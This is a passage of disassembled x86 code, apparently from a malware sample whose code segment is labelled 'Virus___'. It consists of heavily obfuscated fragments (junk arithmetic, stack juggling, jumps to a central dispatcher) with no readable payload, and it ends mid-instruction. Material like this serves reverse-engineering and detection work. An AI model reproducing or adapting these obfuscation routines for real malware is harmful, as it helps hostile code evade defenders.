loc_54C78D ; --------------------------------------------------------------------------- mov cx, word ptr [esp-1Ah+arg_16] push edx mov edx, esp sub esp, 4 mov [esp-12h+arg_E], ebx mov ebx, 13B14720h shl ebx, 4 push edx mov edx, 2E6B3087h dec edx xor edx, 157F4282h xor ebx, edx mov edx, [esp-0Eh+arg_A] jmp loc_54E803 ; --------------------------------------------------------------------------- loc_548E8D: ; DATA XREF: Virus___:00542EB8o push small 0D0Dh jmp loc_546D3D ; --------------------------------------------------------------------------- loc_548E96: ; CODE XREF: sub_545A2B+3953j push esi mov esi, 4 sub edi, 2E3F7358h sub edi, 31E3719Ah add edi, esi add edi, 31E3719Ah jmp loc_5438FC ; --------------------------------------------------------------------------- loc_548EB5: ; CODE XREF: sub_545A2B+57A1j pop edi jmp loc_5480EC ; --------------------------------------------------------------------------- loc_548EBB: ; CODE XREF: sub_545A2B+9890j or eax, 4140161h jmp loc_54BD60 ; --------------------------------------------------------------------------- loc_548EC5: ; CODE XREF: sub_545A2B+1C61j sub al, bh jmp loc_54D50D ; --------------------------------------------------------------------------- loc_548ECC: ; DATA XREF: Virus___:00542F04o mov ax, word ptr [esp-3Eh+arg_3A] push ebp mov ebp, esp push esi mov esi, 4 jmp loc_547714 ; --------------------------------------------------------------------------- loc_548EDE: ; CODE XREF: sub_545A2B+7D06j mov [esp-36h+arg_32], esi push ebx push 79022E6Eh jmp loc_54B683 ; --------------------------------------------------------------------------- loc_548EEC: ; CODE XREF: sub_545A2B+4119j neg eax sub eax, 799CCECh or edi, eax pop eax push ebx mov ebx, 300E6B4Ch xor edi, ebx jmp loc_545022 ; --------------------------------------------------------------------------- loc_548F03: ; CODE XREF: sub_545A2B+7DF0j mov ax, word ptr [esp-2Eh+arg_2A] add esp, 2 movzx eax, al lea eax, [edi+eax*4] jmp loc_549975 ; --------------------------------------------------------------------------- loc_548F18: ; CODE XREF: sub_545A2B+22A1j mov [esp-18h+arg_12+2], esp add [esp-18h+arg_12+2], 4 pop esi jmp loc_544ADE ; --------------------------------------------------------------------------- loc_548F25: ; CODE XREF: sub_545A2B+73F1j imul cx, ax push cx pushf jmp loc_54EFC2 ; --------------------------------------------------------------------------- loc_548F31: ; CODE XREF: sub_545A2B+2EBBj and ecx, ebp pop ebp shr ecx, 7 push eax mov eax, esp jmp loc_543A33 ; --------------------------------------------------------------------------- loc_548F3F: ; CODE XREF: sub_545A2B+6F2Ej mov edx, [esp-54h+arg_50] add esp, 4 xor edx, 7EC761EBh mov edi, [esp-58h+arg_54] add esp, 4 mov ebx, edx mov edx, [esp-5Ch+arg_58] add esp, 4 xor ebx, edi pop edi loc_548F62: ; CODE XREF: sub_545A2B+1AC4j push esi push eax mov esi, [esp-5Ch+arg_58] add esp, 4 push 1E89h mov [esp-5Ch+arg_58], esi push ebx mov ebx, 100B238Bh xor [esp-58h+arg_58], ebx push [esp-58h+arg_54] pop ebx add esp, 4 jmp loc_54ACE0 ; --------------------------------------------------------------------------- loc_548F8B: ; CODE XREF: sub_545A2B+47ABj xor [esp-5Ch+arg_58], edx xor edx, [esp-5Ch+arg_58] mov esp, [esp-5Ch+arg_58] push ecx push 3EA0h mov [esp-54h+arg_50], eax push ebx mov bh, dl mov ah, bh pop ebx mov ch, ah pop eax push ebx mov bh, ch push ebp jmp loc_54D97D ; --------------------------------------------------------------------------- loc_548FAF: ; DATA XREF: Virus___:00542D64o push 2116h jmp loc_54357F ; --------------------------------------------------------------------------- loc_548FB9: ; CODE XREF: sub_545A2B+7C74j mov esi, 33D6693Dh not esi shl esi, 4 neg esi shr esi, 5 add esi, 1ED23ECDh dec esi sub esi, 2C7C1618h not esi inc esi jmp loc_54E7E9 ; --------------------------------------------------------------------------- loc_548FDD: ; CODE XREF: sub_545A2B-BFBj mov [esp-0Eh+arg_A], edi jmp loc_544279 ; --------------------------------------------------------------------------- loc_548FE5: ; CODE XREF: sub_545A2B+786Cj pop edx jmp loc_54486C ; --------------------------------------------------------------------------- loc_548FEB: ; CODE XREF: sub_545A2B+5FFAj jmp loc_542F67 ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_542F67 ; --------------------------------------------------------------------------- loc_548FF8: ; CODE XREF: sub_545A2B+6A6j push [esp-40h+arg_3E+2] pop ebx pop [esp-40h+arg_3A+2] mov esp, [esp-44h+arg_3E+2] push dword ptr [edi+eax*4] push [esp-40h+arg_3A+2] mov eax, [esp-3Ch+arg_36+2] add esp, 4 push ebx mov ebx, esp push edx mov edx, 36B83544h push ebp push 26441A40h jmp loc_547F41 ; --------------------------------------------------------------------------- loc_549026: ; CODE XREF: sub_545A2B+6304j pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp-34h+arg_2E+2] mov esp, [esp-34h+arg_2E+2] mov [esp-34h+arg_2E+2], ebx jmp loc_548DB9 ; --------------------------------------------------------------------------- loc_54903E: ; CODE XREF: sub_545A2B+5B28j add ebx, edi push [esp-34h+arg_2E+2] pop edi jmp sub_544481 ; --------------------------------------------------------------------------- loc_549049: ; CODE XREF: sub_545A2B+25EDj push 2E33h mov [esp-38h+arg_32+2], eax push 0FDFh mov [esp-34h+arg_2E+2], esi push [esp-34h+arg_32+2] pop esi pop [esp-34h+arg_2E+2] not esi push ebx jmp loc_54A301 ; --------------------------------------------------------------------------- loc_549069: ; CODE XREF: sub_545A2B+1921j not si add si, 4A68h jmp loc_54ECF9 ; --------------------------------------------------------------------------- loc_549076: ; CODE XREF: sub_545A2B+6B69j mov ecx, [esp-22h+arg_1E] add esp, 4 jmp loc_54DC16 ; --------------------------------------------------------------------------- loc_549084: ; CODE XREF: sub_545A2B+5F16j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_549089: ; CODE XREF: sub_545A2B+2A54j sub al, bl sub al, 0F8h add al, 0E1h push ebx jmp loc_54B0EE ; --------------------------------------------------------------------------- loc_549095: ; CODE XREF: sub_545A2B+4CC9j add edi, ebx pop ebx push edi jmp loc_54EBF0 ; --------------------------------------------------------------------------- loc_54909E: ; CODE XREF: sub_545A2B-1162j pop esp jmp loc_546697 ; --------------------------------------------------------------------------- loc_5490A4: ; CODE XREF: sub_545A2B+74E5j push esp mov eax, [esp-4Ch+arg_46+2] add esp, 4 jmp loc_546593 ; --------------------------------------------------------------------------- loc_5490B0: ; CODE XREF: sub_545A2B-21F0j movzx cx, ah push ecx push esp pop ecx jmp loc_54AA33 ; --------------------------------------------------------------------------- loc_5490BC: ; CODE XREF: sub_545A2B-C87j pop edi push esi mov esi, esp add esi, 4 push edx mov edx, 4 add esi, edx jmp loc_549183 ; --------------------------------------------------------------------------- loc_5490D3: ; CODE XREF: sub_545A2B+5871j mov [esp-0Ah+arg_4+2], ebx push 0F4A3BC7h pop ebx push edx mov edx, 6D3A5692h and ebx, edx pop edx neg ebx shl ebx, 2 jmp loc_54B480 ; --------------------------------------------------------------------------- loc_5490EF: ; CODE XREF: sub_545A2B-274Ej pop eax jmp loc_54E862 ; --------------------------------------------------------------------------- loc_5490F5: ; CODE XREF: sub_545A2B+40C0j mov dh, bh pop bx jmp loc_543A7F ; --------------------------------------------------------------------------- loc_5490FE: ; CODE XREF: sub_545A2B+3C36j add ebx, edx pop edx sub ebx, 4 xor ebx, [esp-22h+arg_1E] xor [esp-22h+arg_1E], ebx xor ebx, [esp-22h+arg_1E] jmp loc_54E2AF ; --------------------------------------------------------------------------- loc_549115: ; DATA XREF: Virus___:00542F18o push dword ptr [edi+1Ch] popf pop ax adc word ptr [esp-24h+arg_1E+2], ax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_549125: ; CODE XREF: sub_545A2B-2ABFj push eax mov eax, esp jmp loc_54F402 ; --------------------------------------------------------------------------- loc_54912D: ; CODE XREF: sub_545A2B+4F39j pop ebp add esp, 4 add eax, ebx mov ebx, [esp+0] add esp, 4 push 2BA8h mov [esp+0], eax jmp loc_54C2A9 ; --------------------------------------------------------------------------- loc_549149: ; CODE XREF: sub_545A2B+3942j sub dl, 5Bh sub esp, 4 mov [esp+2+var_4+2], ecx mov ch, 0E4h sub dl, ch jmp loc_548090 ; --------------------------------------------------------------------------- loc_54915B: ; CODE XREF: sub_545A2B-1FEAj add esp, 4 push edi mov edi, 66921D1Ch jmp loc_54ADF4 ; --------------------------------------------------------------------------- loc_549169: ; CODE XREF: sub_545A2B+59Ej add esp, 4 push ecx push 4 pop ecx add edi, ecx push [esp-14h+arg_E+2] mov ecx, [esp-10h+arg_A+2] add esp, 4 jmp loc_545F95 ; --------------------------------------------------------------------------- loc_549183: ; CODE XREF: sub_545A2B+36A3j pop edx xchg esi, [esp-0Eh+arg_A] pop esp push ecx mov ecx, 0 add ecx, edx add eax, [ecx] jmp loc_54F1FD ; --------------------------------------------------------------------------- loc_549197: ; CODE XREF: sub_545A2B+7973j mov edx, 5CF0636h and ecx, edx pop edx jmp loc_54F384 ; --------------------------------------------------------------------------- loc_5491A4: ; CODE XREF: sub_545A2B+59A5j shl byte ptr [esp-12h+arg_E], cl pushf jmp loc_54A44C ; --------------------------------------------------------------------------- loc_5491AD: ; CODE XREF: sub_545A2B+6A0Bj add esp, 4 add esp, 4 push edx sub esp, 4 mov [esp-0Eh+arg_A], esi push 42D50D8h jmp loc_5445B4 ; --------------------------------------------------------------------------- loc_5491CA: ; CODE XREF: sub_545A2B+76FAj pop ebx jmp loc_543463 ; --------------------------------------------------------------------------- loc_5491D0: ; CODE XREF: sub_545A2B-1318j shl dl, 3 push ecx push bx mov bl, 0D5h mov ch, bl jmp loc_5443D9 ; --------------------------------------------------------------------------- mov eax, [esp-38h+arg_32+2] sub esp, 4 mov [esp-34h+arg_2E+2], ebp jmp loc_54E7B9 ; --------------------------------------------------------------------------- loc_5491F0: ; CODE XREF: sub_545A2B+2127j push 66Ah mov [esp-3Ch+arg_36+2], esp jmp loc_549C22 ; --------------------------------------------------------------------------- loc_5491FD: ; CODE XREF: sub_545A2B-1280j xor [esp-42h+arg_3E], edx xor edx, [esp-42h+arg_3E] mov esp, [esp-42h+arg_3E] jmp loc_54D15E ; --------------------------------------------------------------------------- loc_54920B: ; CODE XREF: Virus___:00544E86j add eax, edx jmp loc_547F33 ; --------------------------------------------------------------------------- loc_549212: ; CODE XREF: Virus___:00544BC7j push edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp-3Eh+arg_3A] xor [esp-3Eh+arg_3A], edx xor edx, [esp-3Eh+arg_3A] pop esp sub esp, 4 mov [esp-3Eh+arg_3A], edx mov edx, 466161B0h push ebx mov ebx, 4AB718B1h neg ebx shl ebx, 2 xor ebx, 0A2AC98E9h sub edx, 24A9190Ah sub edx, ebx add edx, 24A9190Ah jmp loc_54CAE9 ; --------------------------------------------------------------------------- loc_549257: ; CODE XREF: sub_54DA1B+6j shl ebp, 3 dec ebp jmp loc_54B820 ; --------------------------------------------------------------------------- loc_549260: ; CODE XREF: sub_545A2B+755Ej xor edx, [esp-3Ah+arg_36] jmp loc_547157 ; --------------------------------------------------------------------------- loc_549268: ; CODE XREF: sub_545A2B+1EF2j jmp loc_542F67 ; --------------------------------------------------------------------------- lodsb sub al, 0E0h push ebx mov bl, 0FCh and bl, 0ACh not bl not bl shr bl, 5 sub bl, 64h push edx mov dl, 46h xor dl, 0BFh xor dl, 0FBh push ecx mov cl, 0D2h jmp loc_54E1A6 ; --------------------------------------------------------------------------- loc_549291: ; CODE XREF: sub_545A2B+5DFBj add ebp, edx pop edx jmp loc_543144 ; --------------------------------------------------------------------------- loc_549299: ; CODE XREF: sub_545A2B+FF0j xor edx, [esp+0] mov esp, [esp+0] jmp loc_5472F4 ; --------------------------------------------------------------------------- loc_5492A4: ; CODE XREF: sub_545A2B+2CD9j inc edx or edx, 248302A3h inc edx xor edx, 55EB3F46h add eax, edx pop edx push ebp mov ebp, 41662478h add eax, ebp pop ebp add eax, 3EC85A41h jmp loc_543840 ; --------------------------------------------------------------------------- loc_5492C8: ; CODE XREF: sub_545A2B+5113j pop bx add al, 0F3h jmp loc_547504 ; --------------------------------------------------------------------------- loc_5492D1: ; CODE XREF: sub_545A2B+4592j pop [esp-52h+arg_4C+2] pop esp shr ecx, 0 or eax, eax jz loc_54BF9E sub esp, 4 mov [esp-56h+arg_50+2], ebx add [esp-56h+arg_50+2], 414D1855h push [esp-56h+arg_50+2] jmp loc_54EFD9 ; --------------------------------------------------------------------------- loc_5492F5: ; CODE XREF: sub_545A2B+621Bj sub edi, 4 push edi push [esp-4Eh+arg_4C+2] pop edi jmp loc_54CBA1 ; --------------------------------------------------------------------------- loc_549303: ; CODE XREF: sub_545A2B+7EA8j sub eax, ebx push dword ptr [esp+0] mov ebx, [esp-4Ah+arg_46] jmp loc_544B5E ; --------------------------------------------------------------------------- loc_549310: ; CODE XREF: sub_545A2B+47BDj mov ebx, [esp-4Ah+arg_46] push 30D6h mov [esp-46h+arg_42], ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 4 add ebp, ebx pop ebx xchg ebp, [esp-46h+arg_42] pop esp pop ecx jmp loc_542F67 ; --------------------------------------------------------------------------- loc_549336: ; CODE XREF: sub_545A2B+3C6Cj shl eax, 8 add eax, 43DFA901h mov ecx, eax jmp loc_544CED ; --------------------------------------------------------------------------- loc_549345: ; CODE XREF: sub_545A2B+6C88j add ebp, ebx pop ebx push edi mov edi, 23225018h xor edi, 6F83A5EFh sub ebp, edi jmp loc_5464E9 ; --------------------------------------------------------------------------- loc_54935B: ; CODE XREF: sub_545A2B+4F5Bj pop edi push edi jmp loc_54C758 ; --------------------------------------------------------------------------- loc_549362: ; CODE XREF: sub_545A2B+8AB4j mov dl, 66h add dl, ch pop ecx add dl, 0FAh and dl, 60h jmp loc_549149 ; --------------------------------------------------------------------------- loc_549372: ; CODE XREF: sub_545A2B+7C6j push [esp-0Ah+arg_4+2] mov eax, [esp-6+arg_0+2] add esp, 4 push edi push esp pop edi jmp loc_548E96 ; --------------------------------------------------------------------------- loc_549383: ; CODE XREF: sub_545A2B+29A1j sub ch, bl mov ebx, [esp-18h+arg_12+2] add esp, 4 sub ch, 7Bh xor ch, 2Eh jmp loc_545D8A ; --------------------------------------------------------------------------- loc_549396: ; CODE XREF: sub_545A2B+88FCj pop ebp push edx jmp loc_54C71D ; --------------------------------------------------------------------------- lodsd push edx push eax jmp loc_549D11 ; --------------------------------------------------------------------------- loc_5493A5: ; DATA XREF: Virus___:00542EE4o lodsd sub eax, 4BFE62EEh add eax, 419E55F4h jmp loc_54B280 ; --------------------------------------------------------------------------- loc_5493B5: ; CODE XREF: sub_545A2B+2BACj push 43C61804h mov edi, [esp+0Ch+var_C] add esp, 4 jmp loc_547EB0 ; --------------------------------------------------------------------------- loc_5493C5: ; CODE XREF: sub_545A2B+6AC6j pop edx add ecx, 0FBD7EA60h and eax, ecx mov ecx, [esp+4+var_4] jmp loc_54741D ; --------------------------------------------------------------------------- loc_5493D6: ; CODE XREF: Virus___:0054EFA5j or edi, 65F66D8Dh or edi, 14BB5593h inc edi push esi mov esi, 71A2411Fh inc esi jmp loc_545C52 ; --------------------------------------------------------------------------- loc_5493EF: ; CODE XREF: sub_545A2B+5F8Bj sub edi, 571B7964h pop esi xchg edi, [esp+4+var_4] mov esp, [esp+4+var_4] and word ptr [esp+4+var_4], ax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_549406: ; CODE XREF: sub_545A2B+6CE3j sub ecx, esi pop esi and ecx, 626D7CACh push ebx jmp loc_542FFF ; --------------------------------------------------------------------------- loc_549415: ; CODE XREF: sub_545A2B+3E6Bj not ebp jmp loc_54E29F ; --------------------------------------------------------------------------- loc_54941C: ; CODE XREF: sub_545A2B-1934j mov edx, 340B5A88h push edi jmp loc_54B699 ; --------------------------------------------------------------------------- loc_549427: ; CODE XREF: sub_545A2B+4861j pop [esp-2Ah+arg_26] pop esp idiv cx jmp sub_54462C ; --------------------------------------------------------------------------- loc_549433: ; CODE XREF: sub_545A2B-30j mov [esp-18h+arg_12+2], eax mov eax, 25C82E48h mov ecx, eax mov eax, [esp-18h+arg_12+2] add esp, 4 push esi push eax push 115239E1h jmp loc_547D94 ; --------------------------------------------------------------------------- loc_54944F: ; CODE XREF: sub_545A2B+16F5j mov [esp-24h+arg_1E+2], ebx sub esp, 4 mov [esp-20h+arg_1A+2], esi mov esi, 2 jmp loc_54EDD0 ; --------------------------------------------------------------------------- loc_549462: ; CODE XREF: sub_545A2B+1290j mov esi, [esp-1Eh+arg_1A] push ecx jmp loc_54BE3F ; --------------------------------------------------------------------------- loc_54946B: ; CODE XREF: sub_545A2B+19BFj add ebp, 4 jmp loc_549E6D ; --------------------------------------------------------------------------- loc_549476: ; CODE XREF: sub_545A2B+8DD3j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-16h+arg_12] mov esp, [esp-16h+arg_12] add esi, 4 xchg esi, [esp-16h+arg_12] pop esp bswap eax push 7011h mov [esp-16h+arg_12], eax jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54949E: ; CODE XREF: sub_545A2B+4BCEj add bh, 89h inc bh add bh, 0C8h mov dh, bh jmp loc_5482AB ; --------------------------------------------------------------------------- loc_5494AD: ; CODE XREF: sub_545A2B-1562j xor ax, bp jmp loc_54827A ; --------------------------------------------------------------------------- loc_5494B5: ; CODE XREF: sub_545A2B+643Bj inc bh xor bh, 0A8h push ax push edx mov dl, 0B3h or dl, 79h and dl, 69h shl dl, 7 sub dl, 0A1h xor dl, 95h jmp loc_54C19F ; --------------------------------------------------------------------------- loc_5494D3: ; CODE XREF: sub_545A2B+4348j add ebx, ebp add ebx, 7FB40DBCh pop ebp push ecx mov ecx, 2 add ebx, ecx pop ecx xchg ebx, [esp-18h+arg_12+2] mov esp, [esp-18h+arg_12+2] bt word ptr [esp-18h+arg_12+2], ax pushf jmp loc_5455D9 ; --------------------------------------------------------------------------- loc_5494F6: ; CODE XREF: sub_545A2B+1B1Bj sub esp, 4 mov [esp-16h+arg_12], edx mov edx, esp sub esp, 4 mov [esp-12h+arg_E], edi mov edi, 4 add edx, edi pop edi jmp loc_54711A ; --------------------------------------------------------------------------- loc_549514: ; CODE XREF: sub_545A2B+615Aj push ebx mov bh, 0F0h jmp loc_544BCC ; --------------------------------------------------------------------------- loc_54951C: ; CODE XREF: sub_545A2B+5878j mov ch, 3 xor dl, ch jmp loc_548893 ; --------------------------------------------------------------------------- loc_549525: ; CODE XREF: sub_545A2B+6922j mov esi, 39705326h sub ebp, esi pop esi sub ebp, 64B0427h sub ebp, 76E598E1h add edx, ebp mov ebp, [esp-16h+arg_12] jmp loc_543803 ; --------------------------------------------------------------------------- loc_549543: ; CODE XREF: sub_545A2B+E81j xor eax, 32C60918h jmp loc_54C4BD ; --------------------------------------------------------------------------- loc_54954D: ; CODE XREF: sub_545A2B+19D1j push esp pop edi add edi, 4 jmp loc_54E2C7 ; --------------------------------------------------------------------------- loc_54955A: ; CODE XREF: sub_545A2B+1D56j neg esi jmp loc_548265 ; --------------------------------------------------------------------------- loc_549561: ; CODE XREF: sub_54E535+1Aj shl edi, 4 neg edi shr edi, 6 jmp sub_54D63C ; --------------------------------------------------------------------------- loc_54956E: ; CODE XREF: sub_545A2B+98BAj sub esp, 4 mov [esp-2Ch+arg_26+2], edi push esp pop edi push ecx mov ecx, 4 add edi, ecx jmp loc_545A74 ; --------------------------------------------------------------------------- loc_549586: ; CODE XREF: sub_545A2B+66E0j mov ecx, 3E404FCh not ecx jmp loc_54A795 ; --------------------------------------------------------------------------- loc_549592: ; CODE XREF: sub_545A2B+5469j mov eax, 0D9FAFFF0h push ebp mov ebp, 34476D0Ah sub ecx, ebp jmp loc_54514C ; --------------------------------------------------------------------------- loc_5495A4: ; CODE XREF: sub_545A2B-71Bj pop bp jmp loc_5454D2 ; --------------------------------------------------------------------------- loc_5495AB: ; CODE XREF: sub_545A2B+41C5j pop edi and edi, 12F41419h dec edi sub edi, 3E7E171Fh sub edi, 82E0ABC8h mov ebx, edi pop edi mov esi, ebx jmp loc_54F03C ; --------------------------------------------------------------------------- loc_5495C9: ; CODE XREF: sub_545A2B+4A93j mov [esp-16h+arg_12], edx push esp jmp loc_54D358 ; --------------------------------------------------------------------------- loc_5495D2: ; CODE XREF: sub_545A2B+5C81j pop edx jmp loc_547020 ; --------------------------------------------------------------------------- loc_5495D8: ; CODE XREF: sub_545A2B+1BBFj push [esp-0Ah+arg_A] jmp loc_54CD4B ; --------------------------------------------------------------------------- loc_5495E1: ; CODE XREF: sub_545A2B-2373j inc esi not esi jmp loc_546773 ; --------------------------------------------------------------------------- loc_5495E9: ; CODE XREF: sub_545A2B-1F20j add [esp-38h+arg_3A+2], ecx jmp loc_54E0FD ; --------------------------------------------------------------------------- loc_5495F2: ; CODE XREF: sub_545A2B+8C5Cj add ah, 44h add ch, ah jmp loc_544B8D ; --------------------------------------------------------------------------- loc_5495FC: ; CODE XREF: sub_545A2B-2280j sub esi, ebp pop ebp add esi, edx jmp loc_546CC0 ; --------------------------------------------------------------------------- loc_549606: ; CODE XREF: sub_545A2B+98F1j sub ebx, esi pop esi sub ebx, 0FFFFFFFFh jmp loc_54A5A6 ; --------------------------------------------------------------------------- loc_549611: ; CODE XREF: sub_545A2B+6379j pop ecx jmp loc_54CE6C ; --------------------------------------------------------------------------- loc_549617: ; DATA XREF: Virus___:00542E48o push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp-20h+arg_1A+2], cl pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_549626: ; CODE XREF: sub_545A2B-19EFj push eax mov eax, 0D0DDAA69h sub ebx, eax pop eax sub eax, 44713CADh add eax, ebx add eax, 44713CADh mov ebx, [esp-2Ah+arg_26] add esp, 4 add eax, 6EF97046h add eax, ebx push ebx jmp loc_54DBD1 ; --------------------------------------------------------------------------- loc_549651: ; CODE XREF: sub_545A2B+594Bj or ebx, 66E54A29h jmp loc_54A561 ; --------------------------------------------------------------------------- loc_54965C: ; CODE XREF: sub_545A2B+4AB5j mov edx, 4 jmp loc_5490FE ; --------------------------------------------------------------------------- loc_549666: ; CODE XREF: sub_545A2B+7D54j push esi mov esi, 4 add ebp, esi pop esi push 69DCh mov [esp-26h+arg_22], edx mov edx, 2 add ebp, edx mov edx, [esp-26h+arg_22] push edi mov edi, esp add edi, 4 jmp loc_54AAB2 ; --------------------------------------------------------------------------- loc_54968F: ; CODE XREF: sub_545A2B+8922j add ebp, edi jmp loc_54A579 ; --------------------------------------------------------------------------- loc_549696: ; CODE XREF: sub_5441BD-1E2j pop ebp jmp loc_549336 ; --------------------------------------------------------------------------- loc_54969C: ; CODE XREF: sub_545A2B+5534j mov edx, 22B460A4h xor edx, ebx mov ebx, [esp-26h+arg_22] add esp, 4 and eax, edx mov edx, [esp-2Ah+arg_26] add esp, 4 or eax, eax jz loc_54B253 push ebx push 1Ch pop ebx sub ebx, 2A0077A9h jmp loc_545BD9 ; --------------------------------------------------------------------------- loc_5496CB: ; CODE XREF: sub_545A2B+3F23j sub eax, ebp pop ebp sub eax, edi push edx mov edx, 1BEC421Ah not edx not edx xchg ebp, edx not ebp xchg ebp, edx sub edx, 0CC5843CBh add eax, edx pop edx push [esp-2Eh+arg_2A] jmp loc_54987C ; --------------------------------------------------------------------------- loc_5496F1: ; CODE XREF: sub_545A2B+4846j xor bh, ah mov ax, word ptr [esp-2Ah+arg_26] add esp, 2 jmp loc_54BE7F ; --------------------------------------------------------------------------- loc_5496FF: ; CODE XREF: Virus___:0054D364j mov eax, esp jmp loc_54A71B ; --------------------------------------------------------------------------- loc_549706: ; CODE XREF: sub_54C9E5+3j mov [esp-2Eh+arg_2A], ecx push 1409h mov [esp-2Ah+arg_26], esp jmp loc_54E657 ; --------------------------------------------------------------------------- loc_549716: ; CODE XREF: sub_545A2B+6E8Fj mov edx, 281747A9h and edx, 4BF37894h jmp loc_546159 ; --------------------------------------------------------------------------- loc_549726: ; DATA XREF: Virus___:00542D4Co push [esp-2Ah+arg_26] pop edx sub esp, 4 mov [esp-26h+arg_22], edi mov edi, esp push eax push edi mov edi, 63AE7C57h jmp loc_546C96 ; --------------------------------------------------------------------------- loc_54973E: ; CODE XREF: sub_545A2B+2D25j shr ecx, 6 push edi mov edi, 77304BB3h and edi, 2FA90370h add edi, 8820E78h xor edi, 2A453429h dec edi sub edi, 6F612DBh jmp loc_54DF46 ; --------------------------------------------------------------------------- loc_549765: ; CODE XREF: sub_545A2B+2C51j add ebx, ebp jmp loc_548CC6 ; --------------------------------------------------------------------------- loc_54976C: ; CODE XREF: sub_545A2B+41F2j mov [esp-2Ah+arg_26], ebx mov ebx, 4A357586h neg ebx dec ebx and ebx, 262710D0h jmp loc_54C043 ; --------------------------------------------------------------------------- loc_549782: ; CODE XREF: sub_545A2B+597Aj xor [esp-2Ah+arg_26], eax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54978B: ; CODE XREF: sub_545A2B+4C03j pop esp idiv ecx push 767Dh mov [esp-26h+arg_22], ebp push esp pop ebp add ebp, 4 sub esp, 4 mov [esp-22h+arg_1E], esi push ebx jmp loc_54C116 ; --------------------------------------------------------------------------- loc_5497AD: ; CODE XREF: sub_545A2B+7648j mov [esp-1Eh+arg_1A], esi push [esp-1Eh+arg_1E] mov esi, [esp-1Ah+arg_16] add esp, 4 pop [esp-1Eh+arg_1A] mov esp, [esp-22h+arg_1E] sub esp, 4 jmp loc_5453A3 ; --------------------------------------------------------------------------- loc_5497CB: ; CODE XREF: sub_545A2B+26D2j mov [esp-34h+arg_2E+2], ecx mov ch, 9 add bl, 15h jmp loc_545ACD ; --------------------------------------------------------------------------- loc_5497D8: ; CODE XREF: sub_545A2B-AEEj mov eax, 4D1F25C3h shr eax, 4 sub esp, 4 mov [esp-14h+arg_E+2], edi push ebp mov ebp, 18920D85h add ebp, 0B2450BFh xor ebp, 626F334Fh or ebp, 2ED9524Bh shl ebp, 3 shl ebp, 3 jmp loc_54887D ; --------------------------------------------------------------------------- loc_549809: ; CODE XREF: sub_545A2B+840j and ebx, eax pop eax jmp loc_547351 ; --------------------------------------------------------------------------- loc_549811: ; CODE XREF: sub_545A2B-11E7j shl ah, 1 jmp sub_54CF1D ; --------------------------------------------------------------------------- loc_549818: ; CODE XREF: sub_545A2B+445Cj mov edx, esp jmp loc_54B37B ; --------------------------------------------------------------------------- loc_54981F: ; DATA XREF: Virus___:00542EACo lodsb xor al, bl push 5EFEh mov [esp+0Eh+var_10+2], ecx mov ecx, esp push ebp push edi mov edi, 7BE31EA6h mov ebp, edi pop edi dec ebp jmp loc_54690B ; --------------------------------------------------------------------------- loc_54983C: ; CODE XREF: sub_545A2B+5F51j add edx, ecx pop ecx sub edx, 4 jmp loc_54D6DB ; --------------------------------------------------------------------------- loc_54984A: ; CODE XREF: sub_545A2B+9948j mov bx, word ptr [esp+0Eh+var_10+2] add esp, 2 sub bl, 0EDh push ecx mov cl, 0A5h jmp loc_54563D ; --------------------------------------------------------------------------- loc_54985F: ; CODE XREF: sub_545A2B+A95j mov cl, dh pop edx pop ebx jmp loc_54CC68 ; --------------------------------------------------------------------------- loc_549868: ; CODE XREF: sub_545A2B+61E4j pop ecx neg eax dec eax not eax sub eax, 2EC06C05h xor ebp, eax pop eax dec ebp jmp loc_549946 ; --------------------------------------------------------------------------- loc_54987C: ; CODE XREF: sub_545A2B+3CC1j pop edi jmp loc_548BB4 ; --------------------------------------------------------------------------- loc_549882: ; CODE XREF: sub_545A2B+949Ej mov ecx, esp push ebp mov ebp, 61A16BF3h or ebp, 1BAA7672h or ebp, 57C121B7h jmp loc_549415 ; --------------------------------------------------------------------------- loc_54989B: ; CODE XREF: sub_545A2B+152Aj or eax, 533F03AFh and eax, 7BA92B57h xor eax, 53290B13h jmp loc_547E44 ; --------------------------------------------------------------------------- loc_5498AF: ; CODE XREF: sub_545A2B+224Ej pop eax push ecx push [esp-48h+arg_46+2] jmp loc_5480BC ; --------------------------------------------------------------------------- loc_5498BA: ; CODE XREF: sub_545A2B+978Aj push [esp-44h+arg_3E+2] pop eax add esp, 4 push 359Ch mov [esp-44h+arg_3E+2], esi mov esi, esp add esi, 4 add esi, 4 push 4586h mov [esp-40h+arg_3A+2], esi push [esp-40h+arg_3E+2] push [esp-3Ch+arg_36+2] push [esp-38h+arg_32+2] pop esi add esp, 4 add esp, 4 pop [esp-40h+arg_3A+2] pop esp jmp loc_545907 ; --------------------------------------------------------------------------- loc_549902: ; CODE XREF: sub_545A2B-129Aj push edx jmp loc_54B3AA ; --------------------------------------------------------------------------- loc_549908: ; CODE XREF: sub_545A2B+57C2j pop edx add edi, 1 push ecx mov ecx, 1BF1D109h sub edi, 18413435h sub edi, ecx add edi, 18413435h mov ecx, [esp-3Ah+arg_36] add esp, 4 mov esi, edi pop edi jmp loc_54A220 ; --------------------------------------------------------------------------- loc_549931: ; CODE XREF: sub_545A2B+776Bj mov ebx, 6D7612B3h add edi, ebx mov ebx, [esp-42h+arg_3E] add esp, 4 jmp loc_545BFD ; --------------------------------------------------------------------------- loc_549946: ; CODE XREF: sub_545A2B+3E4Cj neg ebp add ebp, 81D68A12h jmp loc_5496CB ; --------------------------------------------------------------------------- loc_549953: ; CODE XREF: sub_545A2B+8A8j add ah, 3Fh push ebx jmp loc_5484A0 ; --------------------------------------------------------------------------- loc_54995C: ; CODE XREF: Virus___:00544FE1j mov edx, 4 add ecx, 1F356C06h add ecx, edx sub ecx, 1F356C06h pop edx jmp loc_54A8F8 ; --------------------------------------------------------------------------- loc_549975: ; CODE XREF: sub_545A2B+34E8j push 4DA5h jmp loc_54BD73 ; --------------------------------------------------------------------------- loc_54997F: ; CODE XREF: sub_54E186+6j add edx, ebp pop ebp push edi mov edi, 4 jmp loc_545516 ; --------------------------------------------------------------------------- loc_54998D: ; CODE XREF: sub_545A2B+7B0Dj sub 